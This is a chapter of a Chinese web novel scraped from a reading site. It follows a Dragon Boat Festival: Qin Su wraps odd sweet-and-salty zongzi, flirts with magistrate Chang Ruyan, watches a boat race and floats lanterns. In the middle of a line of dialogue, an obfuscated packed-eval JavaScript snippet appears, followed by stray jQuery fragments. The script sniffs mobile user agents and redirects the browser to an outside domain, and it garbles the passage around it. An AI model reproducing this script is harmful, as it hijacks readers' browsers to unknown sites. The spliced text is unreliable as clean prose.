默认冷灰
24号文字
方正启体

43. 世间昌平,海晏河清

作者:疯人梦我本书字数:K更新时间:
    不过半月,雷或终是撑不住了。


    常汝琰那记敲山震虎又准又狠,雷或咬牙切齿,也只能硬生生割了两块肉护住大局。


    任由缉私营抄了两处秘藏盐仓,又“自愿”上缴了十余艘走私船。


    筋断骨折,好歹保住了命脉,最后只背了个“失察失管”的罪名,另加一笔让人肉疼的罚银,总算暂时平了事情。


    轻衫探了消息回衙,“大人,漕帮这段日子确实安分了不少。不过据眼线来报,雷或手下几个心腹最近频频往德善庄和城西那支商队跑,看着像是又在谋划什么。”


    常汝琰听罢,眉目微沉,垂眸盯着棋局,不紧不慢落了一枚黑子,“断了一臂,可不会甘心。水路堵死,眼下怕是在陆路动起了念头。”


    “那刺客,可撬开嘴了?”


    轻衫垂首,“是个死士,见势不妙直接咬舌自尽了。”


    常汝琰缓缓执起一枚白子,“既如此,丢去赌坊门口吧,也算给三当家提个醒。”


    轻衫一怔,脑中又闪过那日暗室一幕,再联想到闻折不知从哪儿窝回来的刺客。


    一时间忍不住腹诽。


    这嘴还真是开了天光,离疯怕不远了。


    “是。”轻衫低应一声,快步退出。


    -


    转眼五月初五,城内一改前些日子的紧张气氛,家家户户门前悬起了艾草菖蒲。


    秦素还在被窝里恍恍惚惚,就被秦母一把拽了起来,稀里糊涂地套好衣裳,连拖带拽地弄到了院子里。


    院子当中放了两大盆东西,左边是洗净的青芦叶,右边是淘好的糯米。


    秦素站着发愣,问,“娘,你难不成要拿去铺子里卖?”


    她瞥了一眼,琢磨着这一盆,足够摆个地摊了。


    秦母嗔她一眼,“你这孩子净胡说,家里包粽子是送人情的。邻里得送去些,婉儿那还有衙门里都得顾到。过节嘛,总得有个样子。”


    秦素头疼。


    她一向拿得出手的是嘴皮子,可对于这种忙来忙去的事着实不太情愿。


    秦素洗了手,搬过小凳子坐到母亲旁边,开始帮忙包粽子。


    秦母手脚麻利,不一会儿便堆出了小半盆。


    昭庆朝的文化与元明时期相差无几,粽子馅儿除了常规白粽,蜜枣果铺豆沙外,还有火腿咸肉的。


    秦素不爱吃咸粽子,嫌弃这些味道过于单调,耐不住性子跑到厨房,包了几个咸鸭蛋,又顺手拿了几块方糖,一股脑儿往粽子里塞。


    秦母这边包得认真,压根儿没注意秦素都加了什么料儿,等她看过去,秦素刚把一块儿糖按进去,正拿着手边的马兰草乱捆一气。


    秦母一脸嫌弃,“你这包的是个什么东西?能吃吗?”


    “……”


    秦素哽了哽,觉得有些冤。


    她两手黏黏糊糊,哼哼唧唧来了一句,“怎么就不能吃了?甜的咸的还不都一样,反正是往嘴里塞。”


    秦母白眼翻个不停,拎着自己的箩筐进厨房蒸粽子去了。


    今日过节,衙门里也没什么正经事,留下守着人也都无精打采,连说话都懒得提声。


    秦素拎着两只食盒晃进来时,迎面瞧见那群人歪着脑袋靠墙,好像下一秒就要被踹下河去和屈原作伴了。


    秦素将食盒“啪”地放上桌,一抹盖儿,“都别给我摆副丧脸,粽子来了。”


    闻得有吃的,众人像是突然回了魂,连吃两波白虎堂饭都提不起劲的腿脚这次齐刷刷地迈向前。


    “秦头儿可以啊,居然会包粽子!”


    “这肉粽看着不错,我先尝尝!”


    “哎哎这里蜜枣多,赶紧让我拿一个!”


    ……


    轻衫也从一旁走来,捧起一个粽子,刚拆开便皱了眉。


    秦素一瞅,笑了。


    总共就包了几个,居然这么巧挑了个现形。


    轻衫捧着粽子,表情有点难尽,“这味道……”


    秦素招呼着,“哎呀,你这什么手气啊!这是隐藏款,我发明的新口味,就包了那么几个还让你一下碰上了。”


    轻衫眼角抽了抽。


    甜咸交织的味道扑面而来,实在是难以形容的复杂。


    “吃啊吃啊!”秦素催促道。


    轻衫看了看她再看看粽子,为了给面子,斯文地咬了一小口。


    “……”


    那张清秀的脸五官瞬间扭成了一团,褶子拧得层层叠叠,下巴硬是抿出几个坑。


    嘴里好像嚼着的不是什么粽子,倒像是一坨刚蒸汽腾腾上桌的粑粑。


    旁边丘山憋不住笑,猛地拍了下桌,“哎哟,大兄弟你这表情,难道真这么难吃?”


    “哈哈哈哈哈,看他那样准是吃了什么奇味儿东西!秦头儿八成又干了什么不靠谱的事!”


    秦素瞪了他们一眼,咂巴着嘴辩解道,“我有那么坏吗?不就是换了点料吗?咸的甜的都现成的,至于这样吗……”


    轻衫皱着眉,嘴蠕动了几下,最终闭着眼强行咽了下去,随手端起茶杯用力灌了两口,抬头冲秦素勉强挤了个笑,“嗯……挺有创意的,很有想法……我觉得咱们刑房最近可以省下添置刑具的银子了,用你这个就行,保证死得安详。”


    众人又是一阵哄笑。


    丘山笑得直不起腰,眼一斜正好瞄见门口的身影,险些惊得呛了口水。


    “大人!”丘山一个激灵,从桌边挺直身子,瞬间变回标准军姿。


    常汝琰背着手,目光淡淡扫过站得笔直的众人,最后落到角落里坐得十分随意的秦素身上,又瞥了眼食盒。


    今日过节,常汝琰也没给下属们摆什么冷脸,声音不温不火,“没事的话散了吧。”


    大家得了令,一溜烟全走个干净。


    常汝琰最后深深望了秦素一眼,而秦素躲也躲不过去,无奈扯了下嘴角,心里明白的不能再明白了。


    待常汝琰走出前堂,秦素将另一筐粽子递给轻衫,“这,你转交那位闻大兄弟。”


    轻衫怔住,瞅着面前食物没吭声。


    秦素轻描淡写地补了一句,“好歹是半个搭档,总不能一点儿意思都不送吧?”


    那日常汝琰仍旧滴水不漏,秦素也没打算深究,只是和常汝琰约法三章,人可以继续跟,但角色得变,从护卫改成合伙人。


    道理很简单,知己知彼才能百战不殆,常汝琰心里怎么想,她也不在意。


    可这事憋坏了闻折。


    堂堂影卫被一个女人威胁了不说,更是被主子吩咐听秦素使唤,岂止是打他的脸,这根本就是踩着他的脸,还用力地碾了几下。


    大半夜,他硬拉着轻衫发起牢骚,天南海北地编排起秦素来。


    “你说她一个普通丫头,怎么就这么邪门?”闻折皱眉,憋出一句,“主子是不是中什么妖术了?”


    “她知道我跟着,八成有问题。”闻折越说越气,索性摊坐在椅子上,“真是遇到个魔星了。”


    闻折气得脑袋疼,话也不经脑子了。


    轻衫听他絮叨半天,居然少见地没板着脸训人。


    他心里也有些纳闷,可想起那日丘山的话,结合前后细节,轻衫不得不承认,秦素深藏不露,而大人对此也毫不惊讶。


    俩高手啊,还真是挺配。


    秦素虽不知俩人背后小声议论,却像是有所感应。


    “人都拗不过节,一个人多寂寞,多可怜。”秦素将篮子推到轻衫怀里,“也算安慰下被我重伤的自尊心。”


    “……”


    还好闻折没听到,不然又要吐血三升,没完没了地怄半宿。


    轻衫没说什么,笑叹了口气,点头应了。


    秦素交代完,抬脚去了书房。


    今儿衙门给了一天假,杂役们回家过节,府里安静得很。


    窗户关得严严实实,秦素敲了敲门,稍等片刻才推开。


    她倚在门边探了探头,“常汝琰?”


    屋内茶香袅袅,茶案旁的男子闻声抬起眼,目光不轻不重地落在秦素身上。


    “过来。”


    秦素心里腹诽一句,但没计较,手一挥带上门,抬步往里走去。


    一恍神间,手腕蓦然被人扣住,整个人被扯进了熟悉的怀抱。


    秦素手撑在他胸前挡了挡,却立时被挑起下巴,封住了言语。


    身上一袭窄袖儒裙薄如蝉翼,轻纱掩映间后背触了他掌心的温度,烫得她轻轻一颤。


    呼吸交错间,秦素被吻得气息溶软,挣了几分,用力拍了拍他的肩。


    “过分了啊……”


    唇瓣微肿,水光未散。


    常汝琰稍稍退开,盯着她的脸看了两瞬,眉眼带出三分戏意两分温存。


    “晚上随我游船。”


    “还船?”秦素眨了眨眼,“你到底有多爱坐船?”


    常汝琰波澜不惊地回道,“清净,没人碍事。”


    “……”


    秦素听得这话,顿觉其中意味深长,“常大人,你不觉得自己愈发放肆了吗?”


    常汝琰面色未变,反倒扫了眼她那身软缎衣裙,“下次,别穿这样的。”


    秦素本想反驳一句“你管得着吗”,却又怕惹得这闷葫芦起了心思,索性忍气吞声。


    眼下这种不明不白的情况,挑不挑明倒也无所谓了。


    反正秦素向来心大,想得也开。


    常汝琰喜欢她,她对常汝琰也不是毫无心思。两人私下里偷偷摸摸相处,她倒觉得轻松自在,毫无拘束。


    要是真闹到板上钉钉那一步,接下来就逃不过家里急着备嫁妆的闹剧,她是死活不愿跳这坑的,晚婚晚育再合适不过。


    再说了,两人若出了岔子,拍拍手散伙也方便,总好过掺进繁琐的和离局面。


    毕竟——二婚到哪都不好看。


    “这是婉儿新挑来的样式,我觉得挺好。”


    常汝琰捏住秦素指尖,加了几分力,“太露。”


    秦素抽回手,“我又不是露肩露腿的,有什么好挑剔的?”


    常汝琰眼眸微微一眯,将人往怀里扣了些,“那你倒是露一个试试


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018182|176167||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    嗯,之前确实露过不少。


    秦素几乎能笃定,常汝琰骨子里就是个闷骚。


    总结一下——衣冠楚楚,禽兽无疑。


    既然话越扯越没意思,秦素干脆不多做纠缠,应付着和他抱了一阵。


    半晌后,便听见轻衫上前敲门,通知龙舟赛马上开始让他们过去。


    秦素说时迟那时快,一个翻身便从常汝琰怀里闪开,傲娇地抬抬下巴,从容不迫地走到门前,潇洒得仿佛刚刚的亲密全然不曾发生。


    常汝琰目送她出了门,细细瞧了几眼,无奈摇了摇头,跟了上去。


    -


    昭庆每年都会举办龙舟赛,除了各家商帮外,衙门作为官府门面也要派人参加。


    轻衫向来对这些热热闹闹的活动没有兴趣,因为众人推举,也只能不情不愿地接了头首。


    秦素本来也是不爱凑这热闹的,无非是作为捕头过来撑个场面。


    不过林婉儿硬扯着她往热闹的人堆里钻,挡也挡不住。


    常汝琰坐在不远处的茶楼二层,慢悠悠地品着茶,视线越过攒动的人流,落在了那个身穿桃红纱裙的纤细身影上,有一下没一下摇着折扇。


    秦素站在前头看了会儿,轻衫带队基本十拿九稳,她视线一偏,瞥向后边漕帮的那艘船。


    船上的人不过是一群小喽喽,许是前几日被衙门折腾得狠了,一个个眼神都愤愤不平的。


    “小心!”林婉儿突然叫了一声。


    只见衙门的船猛地一晃,轻衫猝不及防,一个身子斜扑进了河里。


    秦素眼皮抽了抽,脸顿时一臭。


    这都一群什么玩意,整个一群扶不上墙的稀泥?


    秦素随手扯过一旁的布巾,拨开人群,朝那边走了过去。


    说实话,这运河到底不同于自家小池子,再加上不久前的命案,秦素心里多少有些发悚。


    她原本想着上不来就下去救一把,哪成想人家轻衫水性倒不错,自个儿扑腾了两下爬上来了,只是狼狈了些。


    “你没事吧?伤着没有?”秦素把毛巾递了过去。


    轻衫抹了把脸上的水,摇摇头,“没事,就是呛了几口。”


    林婉儿也跟着跑过来,上下扫了一眼,下意识发出一声“哇哦。”


    这词是秦素教她的,可看着林婉儿目不转睛连眼珠子都转不动,秦素秒懂。


    湿身美男太过惹眼,招得这位少女一时移不开眼了。


    近水楼台先得月,教坏小孩罪过不小啊。


    秦素一边唏嘘,一边挪开了视线。


    轻衫甩甩头发,又动手拧了拧衣角,却不想接过布巾之前,一只修长的手先一步递去一条白绸巾,随即丢进轻衫怀里。


    料子柔滑,质地一看便知,比秦素那条不知高了几个等级。


    秦素和林婉儿都是一愣,两人齐齐顺着那只手望过去。


    常汝琰面色淡漠,开口道,“他有手,自己会擦。”


    秦素,“……”


    轻衫,“……”


    林婉儿左右看了看,随后凑近秦素,压低声音问,“你这是……有了吧?”


    “???”


    林婉儿是指秦素和他们大人是不是有点眉目了,可这姑娘向来不好好说话,懒到字也省去大半,意思完全跑偏了。


    秦素眼角一抽,叹道,“妹妹,话本少看些,四书五经多读读。”


    这姐妹俩在旁悄声嘀咕,轻衫抱着那绸巾,擦也不是,不擦也不是。


    突然就有点理解闻折了。


    什么叫满腔话难开口,什么叫哑巴吃黄连。


    他也是很想骂娘啊!


    ……


    夜幕低垂,白昼喧腾渐止。


    运河之上,星辉隐隐流转,花灯如细碎繁星漂浮,画舫悠悠徘徊。


    一艘不起眼的小篷船静伏在河畔,秦素捧着刚买的莲花灯,走到船边蹲下身,拿炭笔写着什么。


    不片刻,常汝琰拎着披风走近,披在她肩头,“总见你捣鼓这些玩意儿,做出来倒是趁手。”


    秦素没抬头,手下依旧不停,“毛笔磨磨蹭蹭的,还是这样够快。”


    常汝琰目光微动,静静落在她身上,终究无多言。


    秦素写完最后一笔,点燃灯芯,将莲花灯缓缓推入水中。


    摇曳的黄晕沿波纹铺展,孤影随流水涣远,安静融进了不远处河境灯影的密簇繁华。


    秦素站起身,凝神望向远方,一时间怔然。


    常汝琰上前从背后环住她,下巴枕在她肩头,“写了什么?”


    秦素唇角微弯,“嗯……希望少抄些卷宗?”


    常汝琰笑意深了些,“未免志向小了些。”


    秦素眯起眼看他,“我的志向早被你磨光了。”


    略一停顿,她漫声继续道,“不过是应景随心写罢了。一愿山河无恙,二愿人间皆安。”


    三愿……吾心所系,岁岁欢喜无忧。


    常汝琰静了半晌,眸光霜融云起,片刻后,却只是低声应,“嗯,会的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)